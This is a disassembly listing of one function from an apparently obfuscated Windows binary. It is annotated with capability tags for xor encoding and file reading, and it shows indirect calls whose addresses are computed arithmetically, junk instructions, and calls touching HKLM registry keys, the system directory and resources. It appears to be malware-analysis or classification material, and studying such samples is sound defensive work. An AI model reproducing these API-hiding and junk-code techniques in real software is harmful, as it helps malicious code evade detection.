Function at 0x402c2c
Capabilities:
Encode data using xor
Get common file path
Read file on windows

Disassembly:
add edi, 1
bswap eax
or edi, 0x63
add edi, 2
or ebx, dword [0x42aa3c]
mov di, 0x8f98
inc edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, 0
push eax
push 0x20908c
pop ecx
shl ecx, 1
call dword [ecx]
or eax, eax
jne 0x4015f6
mov eax, 0x1c
mov ecx, eax
push ecx
mov esi, 3
mov ebx, esi
push ebx
mov ebx, 0x1022df7
mov esi, ebx
mov edi, 0xc10c77
mov eax, edi
sub esi, eax
call dword [esi]
or eax, eax
je 0x4015e5
call 0x4015df
lea eax, [0x96]
add esi, 2
add eax, ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, 0xc4
push eax
push 0x23e034
pop esi
mov edx, 0x1d4154
add esi, edx
mov esi, dword [esi]
call esi
or eax, eax
jne 0x4015f0
mov edx, 0x55
mov edi, edx
push edi
mov eax, 0x74
mov edx, eax
push edx
mov edx, 0xbf
push edx
push 0x1a
pop ecx
push ecx
push 7
pop eax
push eax
push 0x102004f
pop eax
sub eax, 0xc0deb7
call dword [eax]
mov dword [0x4290b7], eax
or eax, eax
je 0x4016b6
dec ebx
pushfd
dec edx
in al, dx
jecxz 0x4016f5
sub edi, dword [edi + 0x28975a19]
and byte [eax], al
stc
jg 0x4016f4
or eax, 0x67
add esi, eax
cmp esi, dword [0x42a684]
xchg eax, eax
xor edi, ebx
or ebx, 0x31
xor ecx, ecx
push ecx
push 3
pop edx
push edx
push 0x2090c6
pop ebx
shl ebx, 1
call dword [ebx]
or eax, eax
jne 0x4016d3
mov ebx, 0x77cad93a
mov edx, ebx
push edx
push 0x124131
pop edx
add edx, 0x304f03
push edx
mov ebx, 0x1e23d5
mov esi, ebx
mov dword [0x42924d], 0x246c80
add esi, dword [0x42924d]
push esi
mov dword [0x429227], 0
mov eax, dword [0x429227]
push eax
mov eax, 0x1ecfe6
mov ebx, eax
mov dword [0x429364], 0x23c041
add ebx, dword [0x429364]
push ebx
mov ecx, 0x338b46
mov edi, 0xf0570
add ecx, edi
push ecx
mov ecx, 0x5e
push ecx
mov edx, 0
mov ecx, edx
push ecx
push 0x2090d4
pop eax
shl eax, 1
call dword [eax]
or eax, eax
je 0x4016d3
cmp bl, cl
retf 0x8b77
leave
ret
add eax, ebx
and esi, 0xd2
cmp esi, 0xfed5d48d
jle 0x40178a
mov esi, ebx
lea esi, [0x57]
xor edi, ebx
inc esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push 0x4a63454c
pop edi
push edi
push 0x26dcd7
pop ecx
add ecx, 0x1bb46b
push ecx
push 0x8a49b
pop ecx
mov dword [0x429266], 0x39ebd7
add ecx, dword [0x429266]
push ecx
mov edx, 0
push edx
mov eax, 0x3d84e8
mov esi, eax
mov dword [0x4290dd], 0x50bd9
add esi, dword [0x4290dd]
push esi
mov esi, 0x61479
mov dword [0x429229], 0x3c7cde
add esi, dword [0x429229]
push esi
mov edi, 0x83
mov eax, edi
push eax
xor ecx, ecx
push ecx
mov edi, 0x8606c7
mov esi, edi
sub esi, 0x44e51f
call dword [esi]
or eax, eax
je 0x4016d3
leave
ret
mov edx, 0x25
sub eax, dword [0x42b2b9]
sub edx, 1
neg ebx
sub eax, 1
setnp al
inc esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, 1
push edx
push 0x5bef6a
pop ebx
sub ebx, 0x1acf5a
call dword [ebx]
or eax, eax
jne 0x4016d3
mov ecx, 0xcd
mov ebx, ecx
push ebx
push 0x95
pop ecx
push ecx
mov edx, 9
push edx
mov esi, 0xeb
mov edx, esi
push edx
mov edi, 3
mov edx, edi
push edx
mov esi, 0x39a19b
mov edi, esi
mov dword [0x42902d], 0x77ffd
add edi, dword [0x42902d]
mov edi, dword [edi]
call edi
mov dword [0x429014], eax
jmp 0x40181c
dec esi
mov edi, 0x317ff877
push edi
mov eax, 0x326c2f
mov esi, eax
mov edi, 0x102560
add esi, edi
push esi
mov edx, 0x25fe1c
mov ecx, edx
mov dword [0x42911c], 0x1c9222
add ecx, dword [0x42911c]
push ecx
xor eax, eax
push eax
push 0x20e0b3
pop edi
mov edx, 0x21b0bb
add edi, edx
push edi
mov edi, 0x12b5ff
mov ebx, edi
mov dword [0x42927d], 0x2fdb3f
add ebx, dword [0x42927d]
push ebx
mov ecx, 0xb2
push ecx
xor ebx, ebx
push ebx
mov ecx, 0x2090d4
mov edi, ecx
shl edi, 1
call dword [edi]
or eax, eax
je 0x401827
call fcn.00401bda
or ebx, dword [0x42b680]
add eax, 1
call dword [sym.imp.KERNEL32.DLL_ReadFile]
xor edi, edi
push edi
mov eax, 1
mov edi, eax
push edi
push 0x125dc4
pop eax
mov dword [0x4291fc], 0x2ec3cc
add eax, dword [0x4291fc]
push dword [eax]
pop eax
call eax
or eax, eax
jne 0x401778
push ebp
mov ch, 0xaf
xor dword [eax], esi
pop esp
in eax, 0x2a
cli
mov ah, 0x69
mov al, 0x44
invalid
mov dword [ebp - 0x54], ebp
mov eax, dword [ebp - 0x54]
push eax
mov dword [0x42925f], esp
mov ebp, dword [0x42925f]
sub esp, 0x34
push edi
push esi
lea esi, [ebx + 0x429364]
add esi, eax
ror esi, 1
sub esi, dword [0x42932f]
rol esi, 8
sub esi, dword [0x429352]
ror esi, 7
sub dword [0x42908a], esi
mov eax, esi
add eax, 0x2cc
je 0x402c71
shl eax, 1
sub dword [0x4292d9], eax
add dword [0x429302], eax
push 0
push 0xf003f
push 0
push 0
push 0x42929d
push 0x80000002
mov eax, dword [sym.imp.ADVAPI32.DLL_RegOpenKeyExA]
call eax
lea eax, [0x4290df]
push eax
mov dword [ebp - 0x14], edi
dec edi
inc edi
push 0x16018
call fcn.00401474
xor edi, edi
add edi, 0x275
jne 0x402cbc
ror edi, 5
add edi, 0x35
add edi, esi
sub edi, esi
ror edi, 2
dec edi
sub dword [0x4290e9], edi
ror edi, 1
sub edi, eax
add dword [0x4290af], edi
lea eax, [0x429008]
push eax
lea eax, [0x429040]
push eax
lea eax, [0x4290f6]
push eax
sub ebx, edi
push eax
lea eax, [0x4290af]
push eax
mov dword [ebp - 0x14], edi
dec esi
inc esi
push esi
call fcn.0040119c
mov dword [0x429390], eax
or eax, eax
je 0x402d0e
inc esi
push 0
push 0
push 0
push 0
mov ecx, dword [sym.imp.GDI32.DLL_CreateDCA]
call ecx
lea eax, [0x429020]
push eax
dec eax
push edi
push 0x8587
call fcn.004012e8
mov dword [0x4290e1], eax
or eax, eax
je 0x402d3c
sub eax, esi
mov esi, 0x104
mov edi, esi
push edi
mov esi, 0x13dd97
mov ecx, 0x2eb294
add esi, ecx
push esi
mov ecx, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
call ecx
mov dword [ebp - 0x14], eax
or eax, eax
je 0x402d61
inc edi
mov eax, 3
mov edi, eax
push edi
mov ecx, 3
mov eax, ecx
push eax
mov esi, 0x423ebd
mov dword [ebp - 4], 0x11d41
sub esi, dword [ebp - 4]
call dword [esi]
or eax, eax
jne 0x4016d1
push 0
push eax
call fcn.00401474
push eax
push 0x70325
push 0x273c
call fcn.00401520
mov dword [ebp - 0x2c], eax
or eax, eax
je 0x402dab
dec eax
inc esi
mov dword [0x4292b6], 0
mov esi, dword [0x4292b6]
push esi
mov dword [0x42929e], 0
mov ecx, dword [0x42929e]
push ecx
mov ebx, 0
push ebx
xor ecx, ecx
push ecx
mov esi, dword [sym.imp.GDI32.DLL_CreateDCA]
call esi
or eax, eax
jne 0x4015df
lea eax, [0x42915d]
push eax
push 0x79c96
inc esi
push 0
inc edi
add eax, esi
inc eax
inc ebx
push 0
push 0
call fcn.00401408
mov dword [0x42927a], eax
or eax, eax
jne 0x402e10
mov dword [ebp - 0x1c], ebx
dec ebx
push 0
pop edx
push edx
mov eax, 0
mov edi, eax
push edi
xor ebx, ebx
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_FindResourceW]
call ebx
or eax, eax
jne 0x401be3
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push 0
mov edi, 0x20900a
shl edi, 1
call dword [edi]
xor esi, esi
shr esi, 6
sub esi, edi
add esi, 0x658
sub esi, dword [0x429090]
add esi, dword [0x429150]
inc esi
mov ecx, esi
dec ecx
mov esi, ecx
dec esi
add dword [0x4291e6], esi
mov edi, eax
dec edi
add edi, edi
inc edi
mov ecx, edi
rol ecx, 2
add ecx, 0x237
ror ecx, 5
sub ecx, 0x167
add ecx, 0xdd0
ror ecx, 1
sub dword [0x429003], ecx
mov dword [0x4292b2], 0xffffffff
sub eax, dword [0x4292b2]
push eax
push eax
push 0x6b
push eax
push eax
mov edx, 0xac787e
mov ebx, edx
mov dword [ebp - 0x18], 0x6b5862
sub ebx, dword [ebp - 0x18]
call dword [ebx]
mov ebx, esi
add ebx, ebx
rol ebx, 1
add ebx, dword [0x4292df]
mov esi, ebx
dec esi
ror esi, 1
add esi, dword [0x429084]
rol esi, 6
shr esi, 1
mov ecx, esi
add dword [0x4291e6], ecx
sub eax, 0x187752
mov edi, 0xf61
add edi, 0x64
cmp edi, 0x43c
jbe 0x402f02
mov dword [ebp - 0x18], edi
mov ebx, edi
cmp ebx, 0x209
jne 0x402f0e
sub ebx, edi
sub ebx, 0x928
inc ebx
sub ebx, dword [0x4291b9]
mov esi, ebx
rol esi, 2
mov ebx, esi
mov dword [ebp - 0x28], ebx
sub eax, 0xffa758a6
mov dword [0x4292ec], eax
push 0
pop edx
push edx
mov dword [0x429298], 0
mov esi, dword [0x429298]
push esi
mov dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x10]
push edx
mov dword [ebp - 0x24], 0
mov ebx, dword [ebp - 0x24]
push ebx
mov edi, 4
push edi
mov dword [ebp - 0x24], 0x20
mov eax, dword [ebp - 0x24]
push eax
push 0x62
pop edx
push edx
push 7
pop edx
push edx
push 0xb6ee92
pop eax
mov edx, 0x75cd1a
mov edi, edx
sub eax, edi
call dword [eax]
or eax, eax
jne 0x40182f
push dword [0x4292ec]
mov edi, eax
shr edi, 1
ror edi, 1
add dword [0x429351], edi
rol edi, 1
shl edi, 6
add edi, 0x13a
sub edi, eax
rol edi, 8
mov esi, edi
add esi, 0x4f5
sub dword [0x429382], esi
ret